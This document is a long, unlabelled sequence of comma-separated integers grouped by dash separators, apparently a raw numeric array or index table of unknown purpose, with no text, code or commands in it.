180, 181, 182, 183, - 57, 184, 185, 55, 186, 187, 188, 189, - 190, 191, 192, 193, 194, 14, 0, 0, - 11, 0, 11, 11, 11, 11, 11, 11, - 11, 0, 11, 11, 11, 0, 11, 0, - 0, 11, 0, 11, 0, 0, 11, 11, - 11, 11, 0, 11, 11, 11, 0, 0, - 11, 11, 11, 11, 0, 11, 11, 0, - 0, 11, 11, 11, 11, 11, 0, 195, - 196, 197, 198, 199, 200, 201, 202, 203, - 204, 205, 201, 206, 207, 208, 209, 38, - 0, 210, 211, 16, 212, 213, 214, 215, - 216, 217, 218, 219, 220, 16, 14, 221, - 222, 223, 224, 16, 225, 226, 227, 228, - 229, 230, 231, 232, 233, 234, 235, 236, - 237, 238, 239, 16, 144, 14, 240, 0, - 11, 11, 11, 11, 11, 0, 0, 0, - 11, 0, 11, 11, 0, 11, 0, 11, - 11, 0, 0, 0, 11, 11, 11, 0, - 0, 0, 11, 11, 11, 0, 0, 0, - 0, 11, 0, 0, 11, 0, 0, 11, - 11, 11, 0, 0, 11, 0, 11, 11, - 11, 0, 11, 11, 11, 11, 11, 11, - 0, 0, 0, 11, 11, 0, 11, 11, - 0, 11, 11, 0, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 11, 0, 11, - 0, 11, 0, 11, 11, 0, 11, 0, - 11, 11, 0, 11, 0, 11, 0, 241, - 212, 242, 243, 244, 245, 246, 247, 248, - 249, 250, 98, 251, 16, 252, 253, 254, - 16, 255, 129, 256, 257, 258, 259, 260, - 261, 262, 263, 16, 0, 0, 0, 11, - 11, 11, 0, 11, 11, 0, 11, 11, - 0, 0, 0, 0, 0, 11, 11, 11, - 11, 0, 11, 11, 11, 11, 11, 11, - 0, 0, 0, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 0, 11, 11, 11, - 11, 11, 11, 11, 11, 0, 11, 11, - 0, 0, 0, 0, 11, 11, 11, 0, - 0, 0, 11, 0, 0, 0, 11, 11, - 0, 11, 11, 11, 0, 11, 0, 0, - 0, 11, 11, 0, 11, 11, 11, 0, - 11, 11, 11, 0, 0, 0, 0, 11, - 16, 181, 264, 265, 14, 16, 14, 0, - 0, 11, 0, 11, 16, 264, 14, 0, - 16, 266, 14, 0, 0, 11, 16, 267, - 268, 269, 172, 270, 271, 16, 272, 273, - 274, 14, 0, 0, 11, 11, 11, 0, - 11, 11, 0, 11, 11, 11, 11, 0, - 0, 11, 0, 0, 11, 11, 0, 11, - 0, 16, 14, 0, 275, 16, 276, 0, - 14, 0, 11, 0, 11, 277, 16, 278, - 279, 0, 11, 0, 0, 0, 11, 11, - 11, 11, 0, 280, 281, 282, 16, 283, - 284, 285, 286, 287, 288, 289, 290, 291, - 292, 293, 294, 295, 296, 14, 0, 11, - 11, 11, 0, 0, 0, 0, 11, 11, - 0, 0, 11, 0, 0, 0, 0, 0, - 0, 0, 11, 0, 11, 0, 0, 0, - 0, 0, 0, 11, 11, 11, 11, 11, - 0, 0, 11, 0, 0, 0, 11, 0, - 0, 11, 0, 0, 11, 0, 0, 11, - 0, 0, 0, 11, 11, 11, 0, 0, - 0, 11, 11, 11, 11, 0, 297, 16, - 298, 16, 299, 300, 301, 302, 14, 0, - 11, 11, 11, 11, 11, 0, 0, 0, - 11, 0, 0, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 0, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 11, - 11, 0, 11, 11, 11, 11, 11, 0, - 303, 16, 14, 0, 11, 304, 16, 100, - 14, 0, 11, 305, 0, 14, 0, 11, - 16, 306, 14, 0, 0, 11, 307, 0, - 16, 308, 14, 0, 0, 11, 11, 11, - 11, 0, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 0, 0, 11, 0, - 11, 11, 11, 0, 11, 0, 11, 11, - 11, 0, 0, 0, 0, 0, 0, 0, - 11, 11, 11, 0, 11, 0, 0, 0, - 11, 11, 11, 11, 0, 309, 310, 69, - 311, 312, 313, 314, 315, 316, 317, 318, - 319, 320, 321, 322, 323, 324, 325, 326, - 327, 328, 329, 331, 332, 333, 334, 335, - 336, 330, 0, 11, 11, 11, 11, 0, - 11, 0, 11, 11, 0, 11, 11, 11, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 0, 11, 11, 11, 11, 11, - 11, 11, 0, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 0, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 0, 11, 0, - 11, 11, 11, 11, 11, 0, 11, 11, - 0, 11, 11, 11, 11, 11, 11, 11, - 0, 11, 11, 11, 0, 11, 11, 11, - 11, 0, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 0, 11, 0, 11, 11, - 0, 11, 11, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 0, - 11, 11, 11, 0, 11, 0, 11, 11, - 0, 11, 0, 337, 338, 339, 101, 102, - 103, 104, 105, 340, 107, 108, 109, 110, - 111, 112, 341, 342, 167, 343, 258, 117, - 344, 119, 229, 269, 122, 345, 346, 347, - 348, 349, 350, 351, 352, 353, 354, 131, - 355, 16, 14, 15, 16, 134, 135, 136, - 137, 14, 14, 0, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 0, 0, 0, - 11, 0, 11, 11, 11, 11, 0, 11, - 11, 11, 0, 11, 11, 0, 11, 11, - 11, 0, 0, 11, 11, 11, 0, 0, - 11, 11, 0, 11, 0, 11, 0, 11, - 11, 11, 0, 0, 11, 11, 0, 11, - 11, 0, 11, 11, 11, 0, 356, 140, - 142, 143, 144, 145, 146, 14, 357, 148, - 358, 150, 359, 0, 11, 11, 0, 0, - 0, 0, 11, 0, 0, 11, 11, 11, - 11, 11, 0, 360, 109, 361, 154, 155, - 14, 156, 157, 16, 14, 0, 11, 11, - 11, 11, 0, 0, 0, 11, 16, 159, - 160, 16, 362, 363, 219, 308, 163, 164, - 165, 364, 167, 365, 366, 367, 368, 369, - 370, 371, 372, 373, 374, 175, 176, 15, - 375, 16, 14, 0, 0, 0, 0, 11, - 11, 11, 0, 0, 0, 0, 0, 11, - 11, 0, 11, 11, 11, 0, 11, 11, - 0, 0, 0, 11, 11, 0, 11, 11, - 11, 11, 0, 11, 0, 11, 11, 11, - 11, 11, 0, 0, 0, 0, 0, 11, - 11, 11, 11, 11, 11, 0, 11, 0, - 16, 180, 181, 376, 183, 57, 184, 185, - 55, 186, 187, 377, 14, 190, 378, 192, - 193, 194, 14, 0, 11, 11, 11, 11, - 11, 11, 11, 0, 11, 11, 0, 11, - 0, 379, 380, 197, 198, 199, 381, 201, - 202, 382, 383, 384, 201, 206, 207, 208, - 209, 38, 0, 210, 211, 16, 212, 213, - 215, 385, 217, 386, 219, 220, 16, 14, - 387, 222, 223, 224, 16, 225, 226, 227, - 228, 229, 230, 231, 232, 388, 234, 235, - 389, 237, 238, 239, 16, 144, 14, 240, - 0, 0, 11, 0, 0, 11, 0, 11, - 11, 11, 11, 11, 0, 11, 11, 0, - 390, 391, 392, 393, 394, 395, 396, 397, - 247, 398, 319, 399, 213, 400, 401, 402, - 403, 404, 401, 405, 406, 407, 258, 408, - 260, 409, 410, 271, 0, 11, 0, 11, - 0, 11, 0, 11, 0, 11, 11, 0, - 11, 0, 11, 11, 11, 0, 11, 11, - 0, 0, 11, 11, 11, 0, 11, 0, - 11, 0, 11, 11, 0, 11, 0, 11, - 0, 11, 0, 11, 0, 11, 0, 0, - 0, 11, 11, 11, 0, 11, 11, 0, - 16, 267, 229, 411, 401, 412, 271, 16, - 413, 414, 274, 14, 0, 11, 0, 11, - 11, 11, 0, 0, 0, 11, 11, 0, - 277, 16, 278, 415, 0, 11, 11, 0, - 16, 283, 284, 285, 286, 287, 288, 289, - 290, 291, 292, 416, 14, 0, 0, 0, - 11, 16, 417, 16, 265, 300, 301, 302, - 14, 0, 0, 11, 419, 419, 419, 419, - 418, 419, 419, 419, 418, 419, 418, 419, - 419, 418, 418, 418, 418, 418, 418, 419, - 418, 418, 418, 418, 419, 419, 419, 419, - 419, 418, 418, 419, 418, 418, 419, 418, - 419, 418, 418, 419, 418, 418, 418, 419, - 419, 419, 419, 419, 419, 418, 419, 419, - 418, 419, 419, 418, 418, 418, 418, 418, - 418, 419, 419, 418, 418, 419, 418, 419, - 419, 419, 418, 421, 422, 423, 424, 425, - 426, 427, 428, 429, 430, 431, 432, 433, - 434, 435, 436, 437, 438, 439, 440, 441, - 442, 443, 444, 445, 446, 447, 448, 449, - 450, 451, 452, 418, 419, 418, 419, 418, - 419, 419, 418, 419, 419, 418, 418, 418, - 419, 418, 418, 418, 418, 418, 418, 418, - 419, 418, 418, 418, 418, 418, 418, 418, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 418, 418, 418, 418, 418, - 418, 418, 418, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 418, 418, 418, 418, - 418, 418, 418, 418, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 418, 419, 419, - 419, 419, 419, 419, 419, 419, 418, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 418, 419, 419, 419, 419, 419, - 419, 418, 419, 419, 419, 419, 419, 419, - 418, 418, 418, 418, 418, 418, 418, 418, - 419, 419, 419, 419, 419, 419, 419, 419, - 418, 419, 419, 419, 419, 419, 419, 419, - 419, 418, 419, 419, 419, 419, 419, 418, - 418, 418, 418, 418, 418, 418, 418, 419, - 419, 419, 419, 419, 419, 418, 419, 419, - 419, 419, 419, 419, 419, 418, 419, 418, - 419, 419, 418, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 418, 419, 419, 419, 419, 419, 418, 419, - 419, 419, 419, 419, 419, 419, 418, 419, - 419, 419, 418, 419, 419, 419, 418, 419, - 418, 453, 454, 455, 456, 457, 458, 459, - 460, 461, 462, 463, 464, 465, 466, 467, - 468, 469, 470, 471, 472, 473, 474, 475, - 476, 477, 478, 479, 480, 481, 482, 483, - 484, 485, 486, 487, 488, 425, 489, 490, - 491, 492, 493, 494, 425, 470, 425, 418, - 419, 418, 419, 419, 418, 418, 419, 418, - 418, 418, 418, 419, 418, 418, 418, 418, - 418, 419, 418, 418, 418, 418, 418, 419, - 419, 419, 419, 419, 418, 418, 418, 419, - 418, 418, 418, 419, 419, 419, 418, 418, - 418, 419, 419, 418, 418, 418, 419, 419, - 419, 418, 418, 418, 419, 419, 419, 419, - 418, 419, 419, 419, 419, 418, 418, 418, - 418, 418, 419, 419, 419, 419, 418, 418, - 419, 419, 419, 418, 418, 419, 419, 419, - 419, 418, 419, 419, 418, 419, 419, 418, - 418, 418, 419, 419, 419, 418, 418, 418, - 418, 419, 419, 419, 419, 419, 418, 418, - 418, 418, 419, 418, 419, 419, 418, 419, - 419, 418, 419, 418, 419, 419, 419, 418, - 419, 419, 418, 418, 418, 419, 418, 418, - 418, 418, 418, 418, 418, 419, 419, 419, - 419, 418, 419, 419, 419, 419, 419, 419, - 419, 418, 495, 496, 497, 498, 499, 500, - 501, 502, 503, 425, 504, 505, 506, 507, - 508, 418, 419, 418, 418, 418, 418, 418, - 419, 419, 418, 419, 419, 419, 418, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 418, 419, 419, 419, 418, 418, 419, - 419, 419, 418, 418, 419, 418, 418, 419, - 419, 419, 419, 419, 418, 418, 418, 418, - 419, 419, 419, 419, 419, 419, 418, 419, - 419, 419, 419, 419, 418, 509, 464, 510, - 511, 512, 425, 513, 514, 470, 425, 418, - 419, 419, 419, 419, 418, 418, 418, 419, - 418, 418, 419, 419, 419, 418, 418, 418, - 419, 419, 418, 475, 418, 470, 425, 425, - 515, 418, 425, 418, 419, 470, 516, 517, - 470, 518, 519, 470, 520, 521, 522, 523, - 524, 525, 470, 526, 527, 528, 470, 529, - 530, 531, 489, 532, 533, 534, 489, 535, - 470, 425, 418, 418, 419, 419, 418, 418, - 418, 419, 419, 419, 419, 418, 419, 419, - 418, 418, 418, 418, 419, 419, 418, 418, - 419, 419, 418, 418, 418, 418, 418, 418, - 419, 419, 419, 418, 418, 418, 419, 418, - 418, 418, 419, 419, 418, 419, 419, 419, - 419, 418, 419, 419, 419, 419, 418, 419, - 419, 419, 419, 419, 419, 418, 418, 418, - 419, 419, 419, 419, 418, 536, 537, 418, - 425, 418, 419, 418, 418, 419, 470, 538, - 539, 540, 541, 520, 542, 543, 544, 545, - 546, 547, 548, 549, 550, 551, 552, 553, - 425, 418, 418, 419, 418, 419, 419, 419, - 419, 419, 419, 419, 418, 419, 419, 419, - 418, 419, 418, 418, 419, 418, 419, 418, - 418, 419, 419, 419, 419, 418, 419, 419, - 419, 418, 418, 419, 419, 419, 419, 418, - 419, 419, 418, 418, 419, 419, 419, 419, - 419, 418, 554, 555, 556, 557, 558, 559, - 560, 561, 562, 563, 564, 560, 566, 567, - 568, 569, 565, 418, 570, 571, 470, 572, - 573, 574, 575, 576, 577, 578, 579, 580, - 470, 425, 581, 582, 583, 584, 470, 585, - 586, 587, 588, 589, 590, 591, 592, 593, - 594, 595, 596, 597, 598, 599, 470, 501, - 425, 600, 418, 419, 419, 419, 419, 419, - 418, 418, 418, 419, 418, 419, 419, 418, - 419, 418, 419, 419, 418, 418, 418, 419, - 419, 419, 418, 418, 418, 419, 419, 419, - 418, 418, 418, 418, 419, 418, 418, 419, - 418, 418, 419, 419, 419, 418, 418, 419, - 418, 419, 419, 419, 418, 419, 419, 419, - 419, 419, 419, 418, 418, 418, 419, 419, - 418, 419, 419, 418, 419, 419, 418, 419, - 419, 418, 419, 419, 419, 419, 419, 419, - 419, 418, 419, 418, 419, 418, 419, 419, - 418, 419, 418, 419, 419, 418, 419, 418, - 419, 418, 601, 572, 602, 603, 604, 605, - 606, 607, 608, 609, 610, 453, 611, 470, - 612, 613, 614, 470, 615, 485, 616, 617, - 618, 619, 620, 621, 622, 623, 470, 418, - 418, 418, 419, 419, 419, 418, 419, 419, - 418, 419, 419, 418, 418, 418, 418, 418, - 419, 419, 419, 419, 418, 419, 419, 419, - 419, 419, 419, 418, 418, 418, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 418, - 419, 419, 419, 419, 419, 419, 419, 419, - 418, 419, 419, 418, 418, 418, 418, 419, - 419, 419, 418, 418, 418, 419, 418, 418, - 418, 419, 419, 418, 419, 419, 419, 418, - 419, 418, 418, 418, 419, 419, 418, 419, - 419, 419, 418, 419, 419, 419, 418, 418, - 418, 418, 419, 470, 539, 624, 625, 425, - 470, 425, 418, 418, 419, 418, 419, 470, - 624, 425, 418, 470, 626, 425, 418, 418, - 419, 470, 627, 628, 629, 530, 630, 631, - 470, 632, 633, 634, 425, 418, 418, 419, - 419, 419, 418, 419, 419, 418, 419, 419, - 419, 419, 418, 418, 419, 418, 418, 419, - 419, 418, 419, 418, 470, 425, 418, 635, - 470, 636, 418, 425, 418, 419, 418, 419, - 637, 470, 638, 639, 418, 419, 418, 418, - 418, 419, 419, 419, 419, 418, 640, 641, - 642, 470, 643, 644, 645, 646, 647, 648, - 649, 650, 651, 652, 653, 654, 655, 656, - 425, 418, 419, 419, 419, 418, 418, 418, - 418, 419, 419, 418, 418, 419, 418, 418, - 418, 418, 418, 418, 418, 419, 418, 419, - 418, 418, 418, 418, 418, 418, 419, 419, - 419, 419, 419, 418, 418, 419, 418, 418, - 418, 419, 418, 418, 419, 418, 418, 419, - 418, 418, 419, 418, 418, 418, 419, 419, - 419, 418, 418, 418, 419, 419, 419, 419, - 418, 657, 470, 658, 470, 659, 660, 661, - 662, 425, 418, 419, 419, 419, 419, 419, - 418, 418, 418, 419, 418, 418, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 418, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 418, 419, 419, 419, - 419, 419, 418, 663, 470, 425, 418, 419, - 664, 470, 455, 425, 418, 419, 665, 418, - 425, 418, 419, 470, 666, 425, 418, 418, - 419, 667, 418, 470, 668, 425, 418, 418, - 419, 670, 669, 419, 419, 419, 419, 670, - 669, 419, 670, 669, 670, 670, 419, 670, - 669, 419, 670, 419, 670, 669, 419, 670, - 419, 670, 419, 669, 670, 670, 670, 670, - 670, 670, 670, 670, 669, 419, 419, 670, - 670, 419, 670, 419, 670, 669, 670, 670, - 670, 670, 670, 419, 670, 419, 670, 419, - 670, 669, 670, 670, 419, 670, 419, 670, - 669, 670, 670, 670, 670, 670, 419, 670, - 419, 670, 669, 419, 419, 670, 419, 670, - 669, 670, 670, 670, 419, 670, 419, 670, - 419, 670, 419, 670, 669, 670, 419, 670, - 419, 670, 669, 419, 670, 670, 670, 670, - 419, 670, 419, 670, 419, 670, 419, 670, - 419, 670, 419, 670, 669, 419, 670, 669, - 670, 670, 670, 419, 670, 419, 670, 669, - 670, 419, 670, 419, 670, 669, 419, 670, - 670, 670, 670, 419, 670, 419, 670, 669, - 419, 670, 419, 670, 419, 670, 669, 670, - 670, 419, 670, 419, 670, 669, 419, 670, - 419, 670, 419, 670, 419, 669, 670, 670, - 670, 419, 670, 419, 670, 669, 419, 670, - 669, 670, 670, 419, 670, 669, 670, 670, - 670, 419, 670, 670, 670, 670, 670, 670, - 419, 419, 670, 419, 670, 419, 670, 419, - 670, 669, 670, 419, 670, 419, 670, 669, - 419, 670, 669, 670, 419, 670, 669, 670, - 419, 670, 669, 419, 419, 670, 669, 419, - 670, 419, 670, 419, 670, 419, 670, 419, - 670, 419, 669, 670, 670, 419, 670, 670, - 670, 670, 419, 419, 670, 670, 670, 670, - 670, 419, 670, 670, 670, 670, 670, 669, - 419, 670, 670, 419, 670, 419, 669, 670, - 670, 419, 670, 669, 419, 419, 670, 419, - 669, 670, 670, 669, 419, 670, 419, 669, - 670, 669, 419, 670, 419, 670, 419, 669, - 670, 670, 669, 419, 670, 419, 670, 419, - 670, 669, 670, 419, 670, 419, 670, 669, - 419, 670, 669, 419, 419, 670, 669, 670, - 419, 669, 670, 669, 419, 670, 419, 670, - 419, 669, 670, 669, 419, 419, 670, 669, - 670, 419, 670, 419, 670, 669, 419, 670, - 419, 669, 670, 669, 419, 419, 670, 419, - 669, 670, 669, 419, 419, 670, 669, 670, - 419, 670, 669, 670, 419, 670, 669, 670, - 419, 670, 419, 670, 419, 669, 670, 669, - 419, 419, 670, 669, 670, 419, 670, 419, - 670, 669, 419, 670, 669, 670, 670, 419, - 670, 419, 670, 669, 669, 419, 669, 419, - 670, 670, 419, 670, 670, 670, 670, 670, - 670, 670, 669, 419, 670, 670, 670, 419, - 669, 670, 670, 670, 419, 670, 419, 670, - 419, 670, 419, 670, 419, 670, 669, 419, - 419, 670, 669, 670, 419, 670, 669, 419, - 419, 670, 419, 419, 419, 670, 419, 670, - 419, 670, 419, 670, 419, 669, 419, 670, - 419, 670, 419, 669, 670, 669, 419, 670, - 419, 669, 670, 419, 670, 670, 670, 669, - 419, 670, 419, 419, 670, 419, 669, 670, - 670, 669, 419, 670, 670, 670, 670, 419, - 670, 419, 669, 670, 670, 670, 419, 670, - 669, 670, 419, 670, 419, 670, 419, 670, - 419, 670, 669, 670, 670, 419, 670, 669, - 419, 670, 419, 670, 419, 669, 670, 670, - 669, 419, 670, 419, 669, 670, 669, 419, - 670, 669, 419, 670, 419, 670, 669, 670, - 670, 670, 669, 419, 419, 419, 670, 669, - 419, 670, 419, 669, 670, 669, 419, 670, - 419, 670, 419, 669, 670, 670, 670, 669, - 419, 670, 419, 669, 670, 670, 670, 670, - 669, 419, 670, 419, 670, 669, 419, 419, - 670, 419, 670, 669, 670, 419, 670, 419, - 669, 670, 670, 669, 419, 670, 419, 670, - 669, 419, 670, 670, 670, 419, 670, 419, - 669, 419, 670, 669, 670, 419, 419, 670, - 419, 670, 419, 669, 670, 670, 670, 670, - 669, 419, 670, 419, 670, 419, 670, 419, - 670, 419, 670, 669, 670, 670, 670, 419, - 670, 419, 670, 419, 670, 419, 669, 670, - 670, 419, 419, 670, 669, 670, 419, 670, - 670, 669, 419, 670, 419, 670, 669, 419, - 419, 670, 670, 670, 670, 419, 670, 419, - 670, 419, 669, 670, 670, 419, 669, 670, - 669, 419, 670, 419, 669, 670, 669, 419, - 670, 419, 669, 670, 419, 670, 670, 669, - 419, 670, 670, 419, 669, 670, 669, 419, - 670, 419, 670, 669, 670, 419, 670, 419, - 669, 670, 669, 419, 670, 419, 670, 419, - 670, 419, 670, 419, 670, 669, 671, 669, - 672, 673, 674, 675, 676, 677, 678, 679, - 680, 681, 682, 674, 683, 684, 685, 686, - 687, 674, 688, 689, 690, 691, 692, 693, - 694, 695, 696, 697, 698, 699, 700, 701, - 702, 674, 703, 671, 683, 671, 704, 671, - 669, 670, 670, 670, 670, 419, 669, 670, - 670, 669, 419, 670, 669, 419, 419, 670, - 669, 419, 670, 419, 669, 670, 669, 419, - 419, 670, 419, 669, 670, 670, 669, 419, - 670, 670, 670, 669, 419, 670, 419, 670, - 670, 669, 419, 419, 670, 419, 669, 670, - 669, 419, 670, 669, 419, 419, 670, 419, - 670, 669, 419, 670, 419, 419, 670, 419, - 670, 419, 669, 670, 670, 669, 419, 670, - 670, 419, 670, 669, 419, 670, 419, 670, - 669, 419, 670, 419, 669, 419, 670, 670, - 670, 419, 670, 669, 670, 419, 670, 669, - 419, 670, 669, 670, 419, 670, 669, 419, - 670, 669, 419, 670, 419, 670, 669, 419, - 670, 669, 419, 670, 669, 705, 706, 707, - 708, 709, 710, 711, 712, 713, 714, 715, - 716, 676, 717, 718, 719, 720, 721, 718, - 722, 723, 724, 725, 726, 727, 728, 729, - 730, 671, 669, 670, 419, 670, 669, 670, - 419, 670, 669, 670, 419, 670, 669, 670, - 419, 670, 669, 419, 670, 419, 670, 669, - 670, 419, 670, 669, 670, 419, 419, 419, - 670, 669, 670, 419, 670, 669, 670, 670, - 670, 670, 419, 670, 419, 669, 670, 669, - 419, 419, 670, 419, 670, 669, 670, 419, - 670, 669, 419, 670, 669, 670, 670, 419, - 670, 669, 419, 670, 669, 670, 419, 670, - 669, 419, 670, 669, 419, 670, 669, 419, - 670, 669, 670, 669, 419, 419, 670, 669, - 670, 419, 670, 669, 419, 670, 419, 669, - 670, 669, 419, 674, 731, 671, 674, 732, - 674, 733, 683, 671, 669, 670, 669, 419, - 670, 669, 419, 674, 732, 683, 671, 669, - 674, 734, 671, 683, 671, 669, 670, 669, - 419, 674, 735, 692, 736, 718, 737, 730, - 674, 738, 739, 740, 671, 683, 671, 669, - 670, 669, 419, 670, 419, 670, 669, 419, - 670, 419, 670, 419, 669, 670, 670, 669, - 419, 670, 419, 670, 669, 419, 670, 669, - 674, 683, 425, 669, 741, 674, 742, 683, - 671, 669, 425, 670, 669, 419, 670, 669, - 419, 743, 674, 744, 745, 671, 669, 419, - 670, 669, 670, 670, 669, 419, 419, 670, - 419, 670, 669, 674, 746, 747, 748, 749, - 750, 751, 752, 753, 754, 755, 756, 671, - 683, 671, 669, 670, 419, 670, 670, 670, - 670, 670, 670, 670, 419, 670, 419, 670, - 670, 670, 670, 670, 670, 669, 419, 670, - 670, 419, 670, 419, 669, 670, 419, 670, - 670, 670, 419, 670, 670, 419, 670, 670, - 419, 670, 670, 419, 670, 670, 669, 419, - 674, 757, 674, 733, 758, 759, 760, 671, - 683, 671, 669, 670, 669, 419, 670, 670, - 670, 419, 670, 670, 670, 419, 670, 419, - 670, 669, 419, 419, 419, 419, 670, 670, - 419, 419, 419, 419, 419, 670, 670, 670, - 670, 670, 670, 670, 419, 670, 419, 670, - 419, 669, 670, 670, 670, 419, 670, 419, - 670, 669, 683, 425, 761, 674, 683, 425, - 670, 669, 419, 762, 674, 763, 683, 425, - 670, 669, 419, 670, 419, 764, 683, 671, - 669, 425, 670, 669, 419, 674, 765, 671, - 683, 671, 669, 670, 669, 419, 766, 766, - 766, 768, 769, 770, 766, 767, 767, 771, - 768, 771, 769, 771, 767, 772, 773, 772, - 775, 774, 776, 774, 777, 774, 779, 778, - 781, 782, 780, 781, 783, 780, 785, 784, - 786, 784, 787, 784, 789, 788, 791, 792, - 790, 791, 793, 790, 795, 795, 795, 795, - 794, 795, 795, 795, 794, 795, 794, 795, - 795, 794, 794, 794, 794, 794, 794, 795, - 794, 794, 794, 794, 795, 795, 795, 795, - 795, 794, 794, 795, 794, 794, 795, 794, - 795, 794, 794, 795, 794, 794, 794, 795, - 795, 795, 795, 795, 795, 794, 795, 795, - 794, 795, 795, 794, 794, 794, 794, 794, - 794, 795, 795, 794, 794, 795, 794, 795, - 795, 795, 794, 797, 798, 799, 800, 801, - 802, 803, 804, 805, 806, 807, 808, 809, - 810, 811, 812, 813, 814, 815, 816, 817, - 818, 819, 820, 821, 822, 823, 824, 825, - 826, 827, 828, 794, 795, 794, 795, 794, - 795, 795, 794, 795, 795, 794, 794, 794, - 795, 794, 794, 794, 794, 794, 794, 794, - 795, 794, 794, 794, 794, 794, 794, 794, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 794, 794, 794, 794, 794, - 794, 794, 794, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 794, 794, 794, 794, - 794, 794, 794, 794, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 794, 795, 795, - 795, 795, 795, 795, 795, 795, 794, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 794, 795, 795, 795, 795, 795, - 795, 794, 795, 795, 795, 795, 795, 795, - 794, 794, 794, 794, 794, 794, 794, 794, - 795, 795, 795, 795, 795, 795, 795, 795, - 794, 795, 795, 795, 795, 795, 795, 795, - 795, 794, 795, 795, 795, 795, 795, 794, - 794, 794, 794, 794, 794, 794, 794, 795, - 795, 795, 795, 795, 795, 794, 795, 795, - 795, 795, 795, 795, 795, 794, 795, 794, - 795, 795, 794, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 794, 795, 795, 795, 795, 795, 794, 795, - 795, 795, 795, 795, 795, 795, 794, 795, - 795, 795, 794, 795, 795, 795, 794, 795, - 794, 829, 830, 831, 832, 833, 834, 835, - 836, 837, 838, 839, 840, 841, 842, 843, - 844, 845, 846, 847, 848, 849, 850, 851, - 852, 853, 854, 855, 856, 857, 858, 859, - 860, 861, 862, 863, 864, 801, 865, 866, - 867, 868, 869, 870, 801, 846, 801, 794, - 795, 794, 795, 795, 794, 794, 795, 794, - 794, 794, 794, 795, 794, 794, 794, 794, - 794, 795, 794, 794, 794, 794, 794, 795, - 795, 795, 795, 795, 794, 794, 794, 795, - 794, 794, 794, 795, 795, 795, 794, 794, - 794, 795, 795, 794, 794, 794, 795, 795, - 795, 794, 794, 794, 795, 795, 795, 795, - 794, 795, 795, 795, 795, 794, 794, 794, - 794, 794, 795, 795, 795, 795, 794, 794, - 795, 795, 795, 794, 794, 795, 795, 795, - 795, 794, 795, 795, 794, 795, 795, 794, - 794, 794, 795, 795, 795, 794, 794, 794, - 794, 795, 795, 795, 795, 795, 794, 794, - 794, 794, 795, 794, 795, 795, 794, 795, - 795, 794, 795, 794, 795, 795, 795, 794, - 795, 795, 794, 794, 794, 795, 794, 794, - 794, 794, 794, 794, 794, 795, 795, 795, - 795, 794, 795, 795, 795, 795, 795, 795, - 795, 794, 871, 872, 873, 874, 875, 876, - 877, 878, 879, 801, 880, 881, 882, 883, - 884, 794, 795, 794, 794, 794, 794, 794, - 795, 795, 794, 795, 795, 795, 794, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 794, 795, 795, 795, 794, 794, 795, - 795, 795, 794, 794, 795, 794, 794, 795, - 795, 795, 795, 795, 794, 794, 794, 794, - 795, 795, 795, 795, 795, 795, 794, 795, - 795, 795, 795, 795, 794, 885, 840, 886, - 887, 888, 801, 889, 890, 846, 801, 794, - 795, 795, 795, 795, 794, 794, 794, 795, - 794, 794, 795, 795, 795, 794, 794, 794, - 795, 795, 794, 851, 794, 846, 801, 801, - 891, 794, 801, 794, 795, 846, 892, 893, - 846, 894, 895, 846, 896, 897, 898, 899, - 900, 901, 846, 902, 903, 904, 846, 905, - 906, 907, 865, 908, 909, 910, 865, 911, - 846, 801, 794, 794, 795, 795, 794, 794, - 794, 795, 795, 795, 795, 794, 795, 795, - 794, 794, 794, 794, 795, 795, 794, 794, - 795, 795, 794, 794, 794, 794, 794, 794, - 795, 795, 795, 794, 794, 794, 795, 794, - 794, 794, 795, 795, 794, 795, 795, 795, - 795, 794, 795, 795, 795, 795, 794, 795, - 795, 795, 795, 795, 795, 794, 794, 794, - 795, 795, 795, 795, 794, 912, 913, 794, - 801, 794, 795, 794, 794, 795, 846, 914, - 915, 916, 917, 896, 918, 919, 920, 921, - 922, 923, 924, 925, 926, 927, 928, 929, - 801, 794, 794, 795, 794, 795, 795, 795, - 795, 795, 795, 795, 794, 795, 795, 795, - 794, 795, 794, 794, 795, 794, 795, 794, - 794, 795, 795, 795, 795, 794, 795, 795, - 795, 794, 794, 795, 795, 795, 795, 794, - 795, 795, 794, 794, 795, 795, 795, 795, - 795, 794, 930, 931, 932, 933, 934, 935, - 936, 937, 938, 939, 940, 936, 942, 943, - 944, 945, 941, 794, 946, 947, 846, 948, - 949, 950, 951, 952, 953, 954, 955, 956, - 846, 801, 957, 958, 959, 960, 846, 961, - 962, 963, 964, 965, 966, 967, 968, 969, - 970, 971, 972, 973, 974, 975, 846, 877, - 801, 976, 794, 795, 795, 795, 795, 795, - 794, 794, 794, 795, 794, 795, 795, 794, - 795, 794, 795, 795, 794, 794, 794, 795, - 795, 795, 794, 794, 794, 795, 795, 795, - 794, 794, 794, 794, 795, 794, 794, 795, - 794, 794, 795, 795, 